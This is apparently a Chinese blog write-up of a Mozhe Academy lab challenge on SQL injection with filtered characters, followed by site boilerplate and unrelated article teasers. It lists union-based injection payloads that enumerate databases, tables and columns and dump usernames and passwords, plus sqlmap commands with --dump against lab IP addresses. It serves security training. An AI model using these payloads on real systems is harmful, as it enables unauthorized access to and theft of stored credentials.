墨者:SQL過濾字符后手工注入漏洞測試(第3題)

1. 墨者學院:SQL過濾字符后手工注入漏洞測試(第3題)🚀

因為練習過太多的sql注入,廢話不多介紹,我會通過圍繞手動注入和工具爆破的方式達到靶場目標,開練!!!

2. 手工注入方式🎯

測試從"http://124.70.71.251:43066/new_list.php?"開始,以自己的靶場地址為準。

2.1 確定字段數?

常見注入點:id=1 and 1=2,id=1'id=1"等等,本次靶場是單引號閉合。

id=1' order by 8--+

':單引號用于閉合SQL語句中的字符串
order by:用于確定查詢結果集的列數 ,字段max=7
--+:注釋掉后續SQL語句,避免語法錯誤

[截圖位置]

2.2 確認顯示位?

id=-1' union select 1,2,3,4,5,6,7--+

union select:聯合查詢,用于顯示可回顯的字段位置
-1:確保原查詢不返回結果,只顯示union select的結果

[截圖位置]

2.3 獲取基本信息?

id=-1' union select 1,database(),version(),user(),5,6,7--+

database():獲取當前數據庫名稱
version():獲取數據庫版本信息
user():獲取當前數據庫用戶

[截圖位置]

2.4 獲取表名?

id=-1' union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='min_ju4t_mel1i'--+

information_schema.tables:系統表,存儲所有表信息
group_concat():將多行結果合并為一行
table_schema:指定數據庫名稱

[截圖位置]

2.5 獲取列名?

id=-1' union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name='(@dmin9_td4b}'--+

information_schema.columns:系統表,存儲所有列信息
table_name:指定要查詢的表名

[截圖位置]

2.6 獲取數據?

id=-1' union select 1,group_concat(username),group_concat(password),4,5,6,7 from `(@dmin9_td4b}`--+

username,password:目標表的敏感字段
反引號`:用于包裹特殊表名

[截圖位置]

3. sqlmap工具測試🎯

3.1 獲取所有數據庫?

python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" --dbs --batch

--dbs:枚舉所有數據庫
--batch:自動選擇默認選項

[截圖位置]

3.2 獲取指定數據庫的表?

python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" -D min_ju4t_mel1i --tables --batch

-D:指定數據庫
--tables:枚舉指定數據庫的所有表

[截圖位置]

3.3 獲取表的列?

python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" -D min_ju4t_mel1i -T (@dmin9_td4b} --columns --batch

-T:指定表名
--columns:枚舉指定表的所有列

[截圖位置]

3.4 導出數據?

python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" -D min_ju4t_mel1i -T (@dmin9_td4b} -C id,username,password,status --dump --batch

-C:指定要導出的列
--dump:導出指定表的數據

[截圖位置]

3.5 清理緩存?

python sqlmap.py --purge

--purge:清除sqlmap緩存文件
該指令用于清除sqlmap的緩存,因為重啟靶場,端口會發生變化,可能獲取到的password是之前的數據,詳細的sqlmap指令獲取如下:

python sqlmap.py -h

4. 總結🏁

本次測試通過手工注入和sqlmap工具兩種方式完成了SQL注入漏洞測試:

  1. 手工注入需要逐步構造payload,理解SQL語法
  2. sqlmap自動化程度高,但需要正確使用參數
  3. 目標網站存在明顯的SQL注入漏洞,建議修復
  4. 特殊字符過濾不徹底,導致注入成功

聲明:本文僅用于安全學習,嚴禁非法測試! ???

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/91209.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/91209.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/91209.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【Spring AI實戰】實現仿DeepSeek頁面對話機器人(支持多模態上傳)

一、前言 二、實現效果 三、代碼實現 3.1 后端代碼 3.2 前端代碼 一、前言 Spring AI詳解:【Spring AI詳解】開啟Java生態的智能應用開發新時代(附不同功能的Spring AI實戰項目)-CSDN博客 二、實現效果 可上傳圖片或音頻數據給大模型分析 三、代碼實現 3.1 后…

Vue 正在熱映模塊

Vue 漸進式JavaScript 框架 基于Vue2的移動端項目:正在熱映模塊 目錄 正在熱映 數據修改 導入axios 配置反向代理 正在熱映渲染 賦值數據 渲染列表 顯示圖片 優化列表 設置列表樣式 主演 定義過濾器 使用過濾器 主演過長處理 無主演情況處理 觀眾評…

阿里云上進行k8s集群的配置

在阿里云容器服務Kubernetes(ACK)中配置集群的核心步驟可分為以下六大關鍵環節,涵蓋架構設計到運維管理:1. 集群規劃與基礎配置 集群類型選擇 托管版:Master節點由阿里云托管(推薦生產環境)專有…

頁面性能優化

優化點解決方案效果雙向綁定數量過多競對設置單元格內部涉及雙向綁定的輸入組件過多,線上頁面最多有88個該和抽屜中的編輯表格一樣的組件,共計930個(按每行最少6個來計算的)雙向綁定的組件,嚴重拖累頁面性能。數據計算…

詳細說明零拷貝

詳細說明零拷貝【一】零拷貝介紹【1】說明【2】為什么需要零拷貝?—— 傳統數據傳輸的問題【3】零拷貝的核心優化【4】零拷貝的實現方式(1)mmap(內存映射)(2)sendfile(Linux 系統調用…

docker部署自己寫的c++http服務器教程

我用的是ubuntu 22.04環境下 qt c 寫的應用程序,是終端程序,不是界面,然后用linuxdeployqt工具將其打包成了AppImage可執行文件,以上是部署前的準備工作,需要確保AppImage可執行文件在自己的ubuntu上可以運行才能執行以…

Caffeine 緩存庫的常用功能使用介紹

🧑 博主簡介:CSDN博客專家,歷代文學網(PC端可以訪問:https://literature.sinhy.com/#/?__c1000,移動端可微信小程序搜索“歷代文學”)總架構師,15年工作經驗,精通Java編…

C# _列表(List<T>)_ 字典(Dictionary<TKey, TValue>)

目錄 列表(List)特點 創建列表 RemoveAll 刪除與之條件相匹配的數據 會返回刪除的個數 Capacity 獲取或設置列表的容量 更多方法可參照上篇文章:C#_ArrayList動態數組 字典(Dictionary)特點 定義一個字典 向字…

【實時Linux實戰系列】實時網絡控制與調度

在實時控制系統中,網絡調度是確保實時數據流傳輸和處理不受延遲影響的關鍵。實時網絡控制與調度技術對于工業自動化、金融交易、多媒體流等領域至關重要。通過合理設計網絡調度策略,可以顯著提高系統的實時性和可靠性。本文將介紹如何在實時控制系統中實…

Qwen3-Coder:介紹及使用 -- 超強AI編程助手

更多內容:XiaoJ的知識星球 目錄一、Qwen3-Coder模型介紹1.預訓練階段(Pre-Training)2.后訓練階段(Post-Training)1)Scaling Code RL: Hard to Solve, Easy to Verify2)Scaling Long-Horizon RL二…

uniapp 如果進入頁面輸入框自動聚焦,此時快速返回頁面或者跳轉到下一個頁面,輸入法頂上來的頁面出現半屏的黑屏問題。

如果進入頁面輸入框自動聚焦,此時快速返回頁面或者跳轉到下一個頁面,輸入法頂上來的頁面出現半屏的黑屏問題。輸入法出來后,設置了自動將頁面頂上來的配置:pages.json"softinputMode": "adjustResize""g…

深入了解 Kubernetes(k8s):從概念到實踐

目錄 一、k8s 核心概念 二、k8s 的優勢 三、k8s 架構組件 控制平面組件 節點組件 四、k8s docker 運行前后端分離項目的例子 1. 準備前端項目 2. 準備后端項目 3. 創建 k8s 部署配置文件 4. 部署應用到 k8s 集群 在當今云計算和容器化技術飛速發展的時代&#xff0c…

Android User版本默認用test-keys,如何改用release-keys

Android User版本 默認用test-keys, 如何改用release-keys 開發云 - 一站式云服務平臺 --- build/core/Makefile | 5 1 file changed, 5 insertions() diff --git a/build/core/Makefile b/build/core/Makefile index --- a/build/core/Makefile b/build/core…

從零開始學習Dify-數據庫數據可視化(五)

概述上一篇文章我們圍繞 Excel 文件展開數據可視化教學,逐步掌握了數據導入、圖表構建和 AI 智能分析。在實際業務環境中,很多數據并不是保存在表格中,而是存儲于數據庫系統中,尤其是最常見的 MySQL。本篇作為本系列的第五篇&…

使用vue2和 element-ui 做一個點餐收銀臺系統前端靜態項目

今天給大家分享一個 關于點餐收銀臺的靜態網站,最近一直在練習前端項目,就使用vue2和 element-ui 做了一個 這樣簡單的 收銀臺系統。先給大家看一下 做出來的樣子。 因為是練習項目 所以頁面功能還是比較簡單的。 使用的技術是: 技術棧 Vu…

Spring Boot自動配置原理深度解析

Spring Boot自動配置原理深度解析 一、自動配置核心概念 1.1 什么是自動配置 Spring Boot自動配置(Auto-Configuration)是其核心特性之一,能夠根據項目依賴自動配置Spring應用程序。例如: 當檢測到H2數據庫依賴時,自動配置內存數據庫當存在Sp…

關于 Apache Ignite 中 Job 調度(Job Scheduling)與沖突控制(Collision Control) 的機制說明

這段內容是關于 Apache Ignite 中 Job 調度(Job Scheduling)與沖突控制(Collision Control) 的機制說明。我來為你逐段解析,幫助你深入理解其原理和使用方式。🔍 一、核心概念:Job 調度與 Colli…

網絡資源模板--基于Android Studio 實現的課程管理App

目錄 一、測試環境說明 二、項目簡介 三、項目演示 四、部設計詳情(部分) 登錄頁 首頁 五、項目源碼 一、測試環境說明 電腦環境 Windows 11 編寫語言 JAVA 開發軟件 Android Studio (2020) 開發軟件只要大于等于測試版本即可(近幾年官網直接下載也可…

ROUGE-WE:詞向量化革新的文本生成評估框架

一、ROUGE 基礎與核心局限 ROUGE(Recall-Oriented Understudy for Gisting Evaluation) 是自動文本摘要與機器翻譯的主流評估指標,由 Chin-Yew Lin 在2004年發表的論文中首次系統提出。其核心變體包括: ROUGE-N:基于…

MGER綜合實驗

一.拓撲二、實驗需求 1、R5為ISP,只能進行IP地址配置,其所有地址均配為公有IP地址; 2、R1和R5間使用PPP的PAP認證,R5為主認證方; R2與R5之間使用ppp的CHAP認證,R5為主認證方; R3與R5之間使用HDLC封裝; 3、R1、R2、R3構建一個MGRE環…